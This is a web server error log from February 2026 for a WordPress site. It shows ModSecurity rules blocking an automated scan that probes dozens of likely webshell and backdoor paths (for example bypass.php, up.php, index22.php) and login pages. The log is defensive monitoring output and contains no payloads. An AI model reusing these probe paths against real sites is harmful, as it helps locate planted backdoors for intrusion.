[Sat Feb 28 08:52:04.803781 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.28:47485] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaI8NGuX5e1Q32gqxH06KAAAARU"]
[Sat Feb 28 08:52:04.894311 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.29:45167] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:05.794872 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.29:45167] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aaI8NX6mbajs3bzQGyuxnwAAAVA"]
[Sat Feb 28 08:52:06.144075 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.30:63453] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaI8NmuX5e1Q32gqxH06UQAAAQw"]
[Sat Feb 28 08:52:06.672928 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.29:43735] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aaI8NmuX5e1Q32gqxH06YQAAARI"]
[Sat Feb 28 08:52:07.483403 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.26:61467] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaI8N6IAO5fN7BxyqcFARwAAAMM"]
[Sat Feb 28 08:52:08.003469 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 173.244.55.30:44491] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:08.365170 2026] [:error] [pid 39183:tid 39204] [client 173.244.55.26:36609] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaI8OBCf4HvhVePw3LamDQAAAAw"]
[Sat Feb 28 08:52:08.443063 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.30:44491] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aaI8OGuX5e1Q32gqxH06oQAAAQY"]
[Sat Feb 28 08:52:09.236678 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.21:46939] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaI8ORCf4HvhVePw3LamEQAAABM"]
[Sat Feb 28 08:52:09.767568 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 173.244.55.20:27365] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:10.659477 2026] [proxy_fcgi:error] [pid 39185:tid 39263] [client 173.244.55.20:27365] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:11.020441 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.26:50299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:11.098895 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.20:27365] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaI8OxVE-FfM89u7BQatFAAAAI0"]
[Sat Feb 28 08:52:11.460251 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.26:50299] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaI8O36mbajs3bzQGyux1gAAAUk"]
[Sat Feb 28 08:52:11.980442 2026] [proxy_fcgi:error] [pid 39185:tid 39251] [client 173.244.55.21:37649] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:12.357274 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.21:47207] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaI8PBVE-FfM89u7BQatJAAAAIw"]
[Sat Feb 28 08:52:12.419939 2026] [proxy_fcgi:error] [pid 39185:tid 39259] [client 173.244.55.21:37649] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:12.888995 2026] [:error] [pid 39185:tid 39254] [client 173.244.55.21:37649] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaI8PBVE-FfM89u7BQatKwAAAIg"]
[Sat Feb 28 08:52:13.269245 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.21:64741] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaI8PX6mbajs3bzQGyux9QAAAUI"]
[Sat Feb 28 08:52:14.215493 2026] [proxy_fcgi:error] [pid 39292:tid 39309] [client 173.244.55.22:48779] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:14.657849 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.22:48779] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aaI8PqIAO5fN7BxyqcFAlAAAAME"]
[Sat Feb 28 08:52:15.034796 2026] [proxy_fcgi:error] [pid 39292:tid 39308] [client 173.244.55.23:48367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:15.942437 2026] [proxy_fcgi:error] [pid 39292:tid 39317] [client 173.244.55.23:48367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:16.003200 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.30:38957] [client 173.244.55.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI8QBVE-FfM89u7BQatPwAAAJg"]
[Sat Feb 28 08:52:16.387461 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.23:48367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:16.463933 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.30:38957] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaI8QBVE-FfM89u7BQatQAAAAJE"]
[Sat Feb 28 08:52:17.285657 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.23:48367] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/bypass.php"] [unique_id "aaI8QaIAO5fN7BxyqcFAuwAAAMs"]
[Sat Feb 28 08:52:17.343192 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.31:56487] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aaI8QWuX5e1Q32gqxH07SgAAARU"]
[Sat Feb 28 08:52:18.621308 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.22:46199] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaI8QhVE-FfM89u7BQatUAAAAIA"]
[Sat Feb 28 08:52:19.510684 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.31:52853] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/tflow/up.php"] [unique_id "aaI8Q6IAO5fN7BxyqcFAzQAAAMM"]
[Sat Feb 28 08:52:20.910290 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.25:39529] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaI8RBCf4HvhVePw3LamlwAAABM"]
[Sat Feb 28 08:52:21.724896 2026] [:error] [pid 39184:tid 39229] [client 173.244.55.23:41469] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI8RVtZF9Zd_U7easCIQQAAAEo"]
[Sat Feb 28 08:52:22.173444 2026] [proxy_fcgi:error] [pid 39184:tid 39234] [client 173.244.55.23:41469] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:22.249560 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.20:39527] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/images/about.php"] [unique_id "aaI8Rn6mbajs3bzQGyuyeAAAAUk"]
[Sat Feb 28 08:52:24.377212 2026] [proxy_fcgi:error] [pid 39184:tid 39232] [client 173.244.55.23:41469] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:24.475264 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.23:23155] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:24.811615 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.23:41469] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aaI8SFtZF9Zd_U7easCIWAAAAEw"]
[Sat Feb 28 08:52:24.917074 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.23:23155] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/about.php"] [unique_id "aaI8SKIAO5fN7BxyqcFBGwAAANg"]
[Sat Feb 28 08:52:25.694313 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.31:42597] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aaI8SRVE-FfM89u7BQatiQAAAIM"]
[Sat Feb 28 08:52:26.604690 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:54157] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aaI8SmuX5e1Q32gqxH079QAAARU"]
[Sat Feb 28 08:52:26.692511 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.21:39931] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/bypass.php"] [unique_id "aaI8SqIAO5fN7BxyqcFBNgAAAMU"]
[Sat Feb 28 08:52:27.496172 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.28:41573] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aaI8S36mbajs3bzQGyuyzgAAAVc"]
[Sat Feb 28 08:52:28.031791 2026] [proxy_fcgi:error] [pid 22194:tid 22201] [client 173.244.55.30:21289] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:28.378007 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.30:44359] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:28.921959 2026] [proxy_fcgi:error] [pid 22194:tid 22199] [client 173.244.55.30:21289] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:29.255323 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.30:44359] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aaI8TWuX5e1Q32gqxH08NQAAAQg"]
[Sat Feb 28 08:52:29.371043 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.30:21289] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaI8TX6mbajs3bzQGyuy_AAAAUI"]
[Sat Feb 28 08:52:30.149267 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.30:61579] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aaI8Tn6mbajs3bzQGyuzBAAAAUg"]
[Sat Feb 28 08:52:30.262438 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.30:40261] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:31.038260 2026] [:error] [pid 39185:tid 39252] [client 173.244.55.21:48509] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aaI8TxVE-FfM89u7BQatoQAAAIY"]
[Sat Feb 28 08:52:31.601509 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.30:40261] [client 173.244.55.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaI8T2uX5e1Q32gqxH08TQAAAQc"]
[Sat Feb 28 08:52:32.046754 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.30:40261] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:32.498352 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.30:40261] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:32.944656 2026] [proxy_fcgi:error] [pid 11791:tid 11794] [client 173.244.55.30:40261] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:33.231251 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.31:43969] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaI8URVE-FfM89u7BQatugAAAIQ"]
[Sat Feb 28 08:52:33.393670 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.30:40261] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaI8UWuX5e1Q32gqxH08YwAAARE"]
[Sat Feb 28 08:52:34.283616 2026] [proxy_fcgi:error] [pid 39185:tid 39261] [client 173.244.55.25:45079] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:34.554453 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.31:65281] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI8UhVE-FfM89u7BQatyAAAAJE"]
[Sat Feb 28 08:52:34.722698 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.25:45079] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaI8UhVE-FfM89u7BQatygAAAIw"]
[Sat Feb 28 08:52:35.434088 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.28:22529] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI8UxVE-FfM89u7BQatzgAAAJQ"]
[Sat Feb 28 08:52:36.059459 2026] [proxy_fcgi:error] [pid 22194:tid 22211] [client 173.244.55.26:50885] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:36.324398 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.23:42413] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI8VGuX5e1Q32gqxH08nAAAARg"]
[Sat Feb 28 08:52:36.494359 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.26:50885] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaI8VH6mbajs3bzQGyuzTwAAAVg"]
[Sat Feb 28 08:52:37.197263 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.30:65057] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI8VVtZF9Zd_U7easCIfQAAAFY"]
[Sat Feb 28 08:52:37.835783 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.22:49995] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/index22.php"] [unique_id "aaI8VaIAO5fN7BxyqcFB0AAAAM0"]
[Sat Feb 28 08:52:38.085708 2026] [proxy_fcgi:error] [pid 11791:tid 11810] [client 173.244.55.25:28675] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:38.526131 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.25:28675] [client 173.244.55.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.25, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI8VmuX5e1Q32gqxH08wQAAARg"]
[Sat Feb 28 08:52:38.704027 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.22:59581] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/index22.php"] [unique_id "aaI8Vn6mbajs3bzQGyuzagAAAUs"]
[Sat Feb 28 08:52:38.969679 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.25:28675] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI8VmuX5e1Q32gqxH08xgAAARY"]
[Sat Feb 28 08:52:39.572647 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.25:41207] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/index22.php"] [unique_id "aaI8V36mbajs3bzQGyuzdgAAAU4"]
